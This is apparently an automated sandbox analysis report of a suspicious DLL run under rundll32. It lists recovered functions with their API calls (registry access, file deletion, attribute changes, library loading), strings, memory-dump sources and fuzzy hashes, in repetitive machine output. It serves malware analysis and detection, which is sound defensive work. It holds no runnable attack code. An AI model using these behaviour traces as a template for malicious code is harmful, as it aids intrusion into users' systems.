APIs

Part of subcall function 6D4B8979: _recalloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,1FFFFFFF,00000004), ref: 6D4B8A1C

Part of subcall function 6D4B6DCD: calloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000004,-000000EC,-000000EC,00000000,6D4B300A,-00000028,00000020,00000024,000000E9,00000000,-00000018,00000000,00000000,00000028,-00000130), ref: 6D4B6E00

Part of subcall function 6D4B8A68: _recalloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,0AAAAAAA,0000000C), ref: 6D4B8B09

memcpy.VCRUNTIME140(0000005C,?,00000010,00000000,-00000068,00000000,-00000028,00000020,00000024,000000E9,00000000,-00000018,00000000,00000000,00000028,-00000130), ref: 6D4B307D
memcpy.VCRUNTIME140(00000000,00000000,?,?,?,?,00000000,-00000160,-00000140,-000000A0,00000000,00000050,00000000,-00000050,0000001C,E318EDD0), ref: 6D4B3271

Part of subcall function 6D4B7A13: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,-000000D4,00000000,6D4B344D,-0000001C,00000000,-00000034,00000000,-00000180,-00000138,-000000A8,?,0000000C,00000000,-00000080,00000000), ref: 6D4B7A39

Part of subcall function 6D4BAA95: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6D4B7AA6,-00000074,00000000,6D4B3061,00000000,-00000068,00000000,-00000028,00000020,00000024,000000E9,00000000), ref: 6D4BAAD4

Part of subcall function 6D4BAA49: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6D4B7A95,-000000EC,00000000,6D4B301E,00000000,-00000028,00000020,00000024,000000E9,00000000,-00000018,00000000), ref: 6D4BAA78

Strings

Bh0LpJXB0V5swtX, xrefs: 6D4B312E

Memory Dump Source

Source File: 00000006.00000002.1534852937.000000006D4A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6D4A0000, based on PE: true

Associated: 00000006.00000002.1534825546.000000006D4A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534887849.000000006D4D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534915927.000000006D4D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534943155.000000006D4D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6d4a0000_rundll32.jbxd

Similarity

API ID: free$_recallocmemcpy$calloc
String ID: Bh0LpJXB0V5swtX
API String ID: 243917327-4027630067
Opcode ID: 501c8a759c8d1589804cfbe3edebe4c9a0b0eaa53c00285ab884c9607cac99b5
Instruction ID: 300e5f875950005faceb88d73f3ff82cc9936ca0bb37c46c3904cda105e4df43
Opcode Fuzzy Hash: 501c8a759c8d1589804cfbe3edebe4c9a0b0eaa53c00285ab884c9607cac99b5
Instruction Fuzzy Hash: 77320D318182599BCB19DF65CC90EEDB774BF25318F4142ADE656660A0EF306F89CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6D4B2E7A Relevance: 5.0, APIs: 2, Strings: 1, Instructions: 482COMMON

Download Yara Rule

APIs

Part of subcall function 6D4B8979: _recalloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,1FFFFFFF,00000004), ref: 6D4B8A1C

Part of subcall function 6D4B6DCD: calloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000004,-000000EC,-000000EC,00000000,6D4B300A,-00000028,00000020,00000024,000000E9,00000000,-00000018,00000000,00000000,00000028,-00000130), ref: 6D4B6E00

Part of subcall function 6D4B8A68: _recalloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,0AAAAAAA,0000000C), ref: 6D4B8B09

memcpy.VCRUNTIME140(0000005C,?,00000010,00000000,-00000068,00000000,-00000028,00000020,00000024,000000E9,00000000,-00000018,00000000,00000000,00000028,-00000130), ref: 6D4B307D
memcpy.VCRUNTIME140(00000000,00000000,?,?,?,?,00000000,-00000160,-00000140,-000000A0,00000000,00000050,00000000,-00000050,0000001C,E318EDD0), ref: 6D4B3271

Part of subcall function 6D4B7A13: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,-000000D4,00000000,6D4B344D,-0000001C,00000000,-00000034,00000000,-00000180,-00000138,-000000A8,?,0000000C,00000000,-00000080,00000000), ref: 6D4B7A39

Part of subcall function 6D4BAA95: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6D4B7AA6,-00000074,00000000,6D4B3061,00000000,-00000068,00000000,-00000028,00000020,00000024,000000E9,00000000), ref: 6D4BAAD4

Part of subcall function 6D4BAA49: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6D4B7A95,-000000EC,00000000,6D4B301E,00000000,-00000028,00000020,00000024,000000E9,00000000,-00000018,00000000), ref: 6D4BAA78

Strings

Bh0LpJXB0V5swtX, xrefs: 6D4B312E

Memory Dump Source

Source File: 00000006.00000002.1534852937.000000006D4A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6D4A0000, based on PE: true

Associated: 00000006.00000002.1534825546.000000006D4A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534887849.000000006D4D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534915927.000000006D4D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534943155.000000006D4D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6d4a0000_rundll32.jbxd

Similarity

API ID: free$_recallocmemcpy$calloc
String ID: Bh0LpJXB0V5swtX
API String ID: 243917327-4027630067
Opcode ID: d074916ce727dbda09708d9c041dedf372ab73fdbcf6cd25a1d42064550bc2da
Instruction ID: a4c09618388a4d64ed3880e083ea0474570ba1e47b998c24f107f9aedab48c3b
Opcode Fuzzy Hash: d074916ce727dbda09708d9c041dedf372ab73fdbcf6cd25a1d42064550bc2da
Instruction Fuzzy Hash: FC220D318182199ACB19DF65CC90EDDB774BF35318F4142ADE656660A0EF30AF89CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6D4B2FA9 Relevance: 4.9, APIs: 2, Strings: 1, Instructions: 408COMMON

Download Yara Rule

APIs

Part of subcall function 6D4B8979: _recalloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,1FFFFFFF,00000004), ref: 6D4B8A1C

Part of subcall function 6D4B6DCD: calloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000004,-000000EC,-000000EC,00000000,6D4B300A,-00000028,00000020,00000024,000000E9,00000000,-00000018,00000000,00000000,00000028,-00000130), ref: 6D4B6E00

Part of subcall function 6D4B8A68: _recalloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,0AAAAAAA,0000000C), ref: 6D4B8B09

memcpy.VCRUNTIME140(0000005C,?,00000010,00000000,-00000068,00000000,-00000028,00000020,00000024,000000E9,00000000,-00000018,00000000,00000000,00000028,-00000130), ref: 6D4B307D
memcpy.VCRUNTIME140(00000000,00000000,?,?,?,?,00000000,-00000160,-00000140,-000000A0,00000000,00000050,00000000,-00000050,0000001C,E318EDD0), ref: 6D4B3271

Part of subcall function 6D4B7A13: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,-000000D4,00000000,6D4B344D,-0000001C,00000000,-00000034,00000000,-00000180,-00000138,-000000A8,?,0000000C,00000000,-00000080,00000000), ref: 6D4B7A39

Part of subcall function 6D4BAA95: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6D4B7AA6,-00000074,00000000,6D4B3061,00000000,-00000068,00000000,-00000028,00000020,00000024,000000E9,00000000), ref: 6D4BAAD4

Part of subcall function 6D4BAA49: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6D4B7A95,-000000EC,00000000,6D4B301E,00000000,-00000028,00000020,00000024,000000E9,00000000,-00000018,00000000), ref: 6D4BAA78

Strings

Bh0LpJXB0V5swtX, xrefs: 6D4B312E

Memory Dump Source

Source File: 00000006.00000002.1534852937.000000006D4A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6D4A0000, based on PE: true

Associated: 00000006.00000002.1534825546.000000006D4A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534887849.000000006D4D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534915927.000000006D4D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534943155.000000006D4D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6d4a0000_rundll32.jbxd

Similarity

API ID: free$_recallocmemcpy$calloc
String ID: Bh0LpJXB0V5swtX
API String ID: 243917327-4027630067
Opcode ID: 5063ba7ce4d1209f5287ae2429c3be4bdff5e6003c1217ae9b3a933d6b7e1ac6
Instruction ID: a8b76bab602a5b0fcfa47b380cb7e436475a8c302a5f470fe32a05dcdf96c03a
Opcode Fuzzy Hash: 5063ba7ce4d1209f5287ae2429c3be4bdff5e6003c1217ae9b3a933d6b7e1ac6
Instruction Fuzzy Hash: 84020C318182599BCB19DF65CC90EDDB774BF39318F41429DA656660A0EF306F88CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6D4B3070 Relevance: 4.9, APIs: 2, Strings: 1, Instructions: 358COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(0000005C,?,00000010,00000000,-00000068,00000000,-00000028,00000020,00000024,000000E9,00000000,-00000018,00000000,00000000,00000028,-00000130), ref: 6D4B307D
memcpy.VCRUNTIME140(00000000,00000000,?,?,?,?,00000000,-00000160,-00000140,-000000A0,00000000,00000050,00000000,-00000050,0000001C,E318EDD0), ref: 6D4B3271

Part of subcall function 6D4B7A13: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,-000000D4,00000000,6D4B344D,-0000001C,00000000,-00000034,00000000,-00000180,-00000138,-000000A8,?,0000000C,00000000,-00000080,00000000), ref: 6D4B7A39

Part of subcall function 6D4BAA95: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6D4B7AA6,-00000074,00000000,6D4B3061,00000000,-00000068,00000000,-00000028,00000020,00000024,000000E9,00000000), ref: 6D4BAAD4

Part of subcall function 6D4BAA49: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6D4B7A95,-000000EC,00000000,6D4B301E,00000000,-00000028,00000020,00000024,000000E9,00000000,-00000018,00000000), ref: 6D4BAA78

Part of subcall function 6D4B6DCD: calloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000004,-000000EC,-000000EC,00000000,6D4B300A,-00000028,00000020,00000024,000000E9,00000000,-00000018,00000000,00000000,00000028,-00000130), ref: 6D4B6E00

Strings

Bh0LpJXB0V5swtX, xrefs: 6D4B312E

Memory Dump Source

Source File: 00000006.00000002.1534852937.000000006D4A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6D4A0000, based on PE: true

Associated: 00000006.00000002.1534825546.000000006D4A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534887849.000000006D4D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534915927.000000006D4D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534943155.000000006D4D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6d4a0000_rundll32.jbxd

Similarity

API ID: free$memcpy$calloc
String ID: Bh0LpJXB0V5swtX
API String ID: 3563861759-4027630067
Opcode ID: 02b6990fbda1e7d08adf1fda253f67a16b7ebdae1e5fd0f80337164853889bb0
Instruction ID: a8166ac7932e299129554d95816c59187a68c80a1c8042c5a525147643cb8d42
Opcode Fuzzy Hash: 02b6990fbda1e7d08adf1fda253f67a16b7ebdae1e5fd0f80337164853889bb0
Instruction Fuzzy Hash: 2EF10A308182599ACB19DF65CC90EDDB774BF39318F41429DE656660A0EF30AF88DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 046A47BB Relevance: 4.6, APIs: 3, Instructions: 65registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNEL32(?), ref: 046A47B0
RegQueryValueExW.KERNEL32(00000000,00000000,00000000,?,?,?), ref: 046A47F5
wsprintfW.USER32 ref: 046A483D

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: CloseQueryValuewsprintf
String ID:
API String ID: 2691868063-0
Opcode ID: 62216078d015c4b7e5d187a76d1f74efc273724fac8626e5ab4aea989e3c8d3a
Instruction ID: e39f5c6e12616b2d0eb27fa7575e5551dd368c80a812e7356e2ef51e4b3111d6
Opcode Fuzzy Hash: 62216078d015c4b7e5d187a76d1f74efc273724fac8626e5ab4aea989e3c8d3a
Instruction Fuzzy Hash: 4611D0316097809BD7288F64EC54A7B72E4FF89309F00493DE54A96241FF74AE158E5A

Uniqueness

Uniqueness Score: -1.00%

Function 046A4516 Relevance: 4.6, APIs: 3, Instructions: 57stringCOMMON

Download Yara Rule

APIs

Part of subcall function 046A30A4: FindFirstFileW.KERNEL32(00000000,047007A0,00000000,046A3740), ref: 046A30AC
Part of subcall function 046A30A4: FindClose.KERNEL32(00000000), ref: 046A30B8

lstrlenW.KERNEL32 ref: 046A4564
lstrlenW.KERNEL32(00000000), ref: 046A456E
SHFileOperationW.SHELL32(?), ref: 046A459C

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: FileFindlstrlen$CloseFirstOperation
String ID:
API String ID: 1486964399-0
Opcode ID: 809091603d7e3ad8dd90aac386f70cf2f9b00d3f99c0e99f77e3d12d16aee903
Instruction ID: 1e61c0ccb425db5e7ce5941280efd9786de9b17ae8afcfd62eb2a3ea3f900108
Opcode Fuzzy Hash: 809091603d7e3ad8dd90aac386f70cf2f9b00d3f99c0e99f77e3d12d16aee903
Instruction Fuzzy Hash: C2119D71A087408BD728EF79984566AF7E4AF84314F40882EA945C3381FE75EC544B4A

Uniqueness

Uniqueness Score: -1.00%

Function 046A2324 Relevance: 4.5, APIs: 3, Instructions: 30fileCOMMON

Download Yara Rule

APIs

Part of subcall function 046A2773: GetFileAttributesW.KERNEL32(Exec,Exec,00000001,046A3935,Exec,?,?), ref: 046A2778
Part of subcall function 046A2773: SetFileAttributesW.KERNEL32(Exec,00000000,?,?), ref: 046A278C

RemoveDirectoryW.KERNEL32(003A0043,00000007,003A0043,00000007,046A2515), ref: 046A233D
SetFileAttributesW.KERNEL32(003A0043,00000000), ref: 046A234E
DeleteFileW.KERNEL32(003A0043,00000007,003A0043,00000007,046A2515), ref: 046A235A

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: File$Attributes$DeleteDirectoryRemove
String ID:
API String ID: 1655745494-0
Opcode ID: 33c56c581b83254c1e00382fde418a6fb8fd32a799984edd026da8933d6b14e5
Instruction ID: 3ad89816caa62930004dc421665cde366e138d91edbe42df85d006a51d230049
Opcode Fuzzy Hash: 33c56c581b83254c1e00382fde418a6fb8fd32a799984edd026da8933d6b14e5
Instruction Fuzzy Hash: F6E0D8323C18106FD31C2575D86CB772799DF973BAB0C05A1EA06C13D0F6259C635C62

Uniqueness

Uniqueness Score: -1.00%

Function 046A3348 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 36registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.KERNEL32(00000000,?,00000000,00000000,00000000,00100022,00000000,?,00000000), ref: 046A337F

Strings

", xrefs: 046A3350

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: Create
String ID: "
API String ID: 2289755597-123907689
Opcode ID: f0be6727644f7d4d17d50ee551585b01250f1502a15da6930dd81e3e60bb3833
Instruction ID: db0855e58494460d66b6336a50a53ce7a195e7682abbe29c6e2ed0136275f21d
Opcode Fuzzy Hash: f0be6727644f7d4d17d50ee551585b01250f1502a15da6930dd81e3e60bb3833
Instruction Fuzzy Hash: C9F082B1B04504BFFB08D6998C15DBF76FEDFC8604B00C06DB80192240FAB0AD109660

Uniqueness

Uniqueness Score: -1.00%

Function 046A2B80 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(00000000,Software\Microsoft\Windows\CurrentVersion,00000000,00000000,00000000,00000000,046A2BD3,02E9C140,?,Exec,80000002,80000002,00000002,046A2E5C,Exec,Exec), ref: 046A2BA1

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 046A2B9F

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: Open
String ID: Software\Microsoft\Windows\CurrentVersion
API String ID: 71445658-1019749484
Opcode ID: 8f9f1f5ec991e6765241c88684fb4cbca4a088abbcd2a938a4b0ca4ff9b0363f
Instruction ID: 236bb06d1f367de3f1e779fda1c83a9ca1c42bdc89c19bfbaa0543c048306c47
Opcode Fuzzy Hash: 8f9f1f5ec991e6765241c88684fb4cbca4a088abbcd2a938a4b0ca4ff9b0363f
Instruction Fuzzy Hash: 8DD0A733188310BFD7215E10DC18F9B7B9AAF98264F04CC55F14999250F3719C34DB60

Uniqueness

Uniqueness Score: -1.00%

Function 6D4B227C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 6COMMON

Download Yara Rule

APIs

?_Xout_of_range@std@@YAXPBD@Z.MSVCP140(invalid vector subscript,?,6D4B26D6,?,?,?,6D4A9871,0000000B,?,?), ref: 6D4B2284

Strings

invalid vector subscript, xrefs: 6D4B227F

Memory Dump Source

Source File: 00000006.00000002.1534852937.000000006D4A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6D4A0000, based on PE: true

Associated: 00000006.00000002.1534825546.000000006D4A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534887849.000000006D4D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534915927.000000006D4D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534943155.000000006D4D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6d4a0000_rundll32.jbxd

Similarity

API ID: Xout_of_range@std@@
String ID: invalid vector subscript
API String ID: 1960685668-1949860628
Opcode ID: be119527b4698934eeae4b5e7377d9b1ae34dd0cfac238b89f2f979809f79258
Instruction ID: f6bf8bbe9f9caba1a0b9c4b01ceeed0018bc875d69650215e3a2c13db3d11562
Opcode Fuzzy Hash: be119527b4698934eeae4b5e7377d9b1ae34dd0cfac238b89f2f979809f79258
Instruction Fuzzy Hash: 9AA0021958868D370860B9D66891CB67ACD45658686410055AE0D055731D526C5100FA

Uniqueness

Uniqueness Score: -1.00%

Function 046C1484 Relevance: 3.1, APIs: 2, Instructions: 65COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 046C14D0
GetFileType.KERNEL32(00000000), ref: 046C14E2

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 17957736eb9a440e8c2d5d12e7702625f8f3362ee4cf64a62f1f578b148ff898
Instruction ID: a7746099aa584366a9db6793f74332c6218306e0ce85e4ed7fbed65bd8d2c620
Opcode Fuzzy Hash: 17957736eb9a440e8c2d5d12e7702625f8f3362ee4cf64a62f1f578b148ff898
Instruction Fuzzy Hash: D31184B260475146C7304F3E98885B2BA95E767235B28471ED4B7C66F3F734E886DA40

Uniqueness

Uniqueness Score: -1.00%

Function 046A4C2C Relevance: 3.0, APIs: 2, Instructions: 33filestringCOMMON

Download Yara Rule

APIs

FindNextFileW.KERNELBASE(00000000,?), ref: 046A4C44
lstrcpynW.KERNEL32(?,?,00000400), ref: 046A4C60

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: FileFindNextlstrcpyn
String ID:
API String ID: 1743206594-0
Opcode ID: 584b16859d33a67f12fbce2b85de4542f86b2f87fd8f0d7edbb177732d8c65e2
Instruction ID: cac986fa005375bdbbe4014302301f1beb309d9a41274ba96caa7c46d220a5d1
Opcode Fuzzy Hash: 584b16859d33a67f12fbce2b85de4542f86b2f87fd8f0d7edbb177732d8c65e2
Instruction Fuzzy Hash: 30F05EB23546809BD764DF60D894BBEB399FB84205F40482DE64BC2681FF38BC558B66

Uniqueness

Uniqueness Score: -1.00%

Function 046C032B Relevance: 3.0, APIs: 2, Instructions: 22memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,046C6EC7,?,00000000,?,?,046C7168,?,00000007,?,?,046C7661,?,?), ref: 046C0341
GetLastError.KERNEL32(?,?,046C6EC7,?,00000000,?,?,046C7168,?,00000007,?,?,046C7661,?,?), ref: 046C034C

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: ef10f3954a531405835c6135ab6c334d84f36a9d40cdca8b68d2e95d9cae0776
Instruction ID: dfdc8cbe10f84305095071cafe966c1045fa0fe47608de322414a2ba872a03ce
Opcode Fuzzy Hash: ef10f3954a531405835c6135ab6c334d84f36a9d40cdca8b68d2e95d9cae0776
Instruction Fuzzy Hash: 70E0EC32104614ABDB152FA5F858BA93A99FB40755F104028F64CDA1A0FA78AA91C7D4

Uniqueness

Uniqueness Score: -1.00%

Function 046A2235 Relevance: 3.0, APIs: 2, Instructions: 12COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(003A0043,00000000,771B3420,046A10DC,055BC820,046A1393), ref: 046A223A
GetLastError.KERNEL32 ref: 046A2244

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 066969b5f7b844c9eec98363db07b7e2b361d70c51c8d8f6b32062ad3f9ebf25
Instruction ID: 275f59f9c75e6d7c87368d0a1a444b2b0f62d390675eca532b2749ba1cffed19
Opcode Fuzzy Hash: 066969b5f7b844c9eec98363db07b7e2b361d70c51c8d8f6b32062ad3f9ebf25
Instruction Fuzzy Hash: 62C04C357115305B47741A79B91C6976ED9EF459A53011554F905D3250F6148C0186E0

Uniqueness

Uniqueness Score: -1.00%

Function 02E5800F Relevance: 1.8, APIs: 1, Instructions: 336COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.1531180342.0000000002E58000.00000040.00000020.00020000.00000000.sdmp, Offset: 02E58000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_2e58000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d33a121211da6363af8d35e01b2c414d754c2a17cd671a5080ee489b96427fec
Instruction ID: 8a78e14d12fec8e1176eabc1299336f29c3bc8bf25b6f893199dabc40d8f4208
Opcode Fuzzy Hash: d33a121211da6363af8d35e01b2c414d754c2a17cd671a5080ee489b96427fec
Instruction Fuzzy Hash: 5202DF34A156698FCB69CF18C998BA8BBB5BF49305F1491DAD849AB351C731AEC0CF04

Uniqueness

Uniqueness Score: -1.00%

Function 046A9D00 Relevance: 1.6, APIs: 1, Instructions: 133COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 046A9E6B

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: e3edfd270a7875b4022469168d20ef2682d43da1927c7250300be8d3adf5b123
Instruction ID: 61259f11b3a8cf8b6654d721726ea534d54ac04ce6f62b20fbe40ef19ad94cfc
Opcode Fuzzy Hash: e3edfd270a7875b4022469168d20ef2682d43da1927c7250300be8d3adf5b123
Instruction Fuzzy Hash: 6241A9B1E005149FDB14DF68C8846AEB7A9EF84310F24462AD815DB385FB30BD55CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 02E584EA Relevance: 1.6, APIs: 1, Instructions: 70libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?), ref: 02E58527

Memory Dump Source

Source File: 00000006.00000003.1531180342.0000000002E58000.00000040.00000020.00020000.00000000.sdmp, Offset: 02E58000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_2e58000_rundll32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 22298e58a8000a39cee68b6a8fc425fd8e3f3380594fe307dd9c147b61f1b79f
Instruction ID: 9978f59389dbc5853b98fd2828ea2634709504e60e881b38ba3c081788e5cf0c
Opcode Fuzzy Hash: 22298e58a8000a39cee68b6a8fc425fd8e3f3380594fe307dd9c147b61f1b79f
Instruction Fuzzy Hash: B1318775914268CFCB6ACF58C894BA9B7B9AF49208F0490D9E54AA7341C770AFC4CF14

Uniqueness

Uniqueness Score: -1.00%

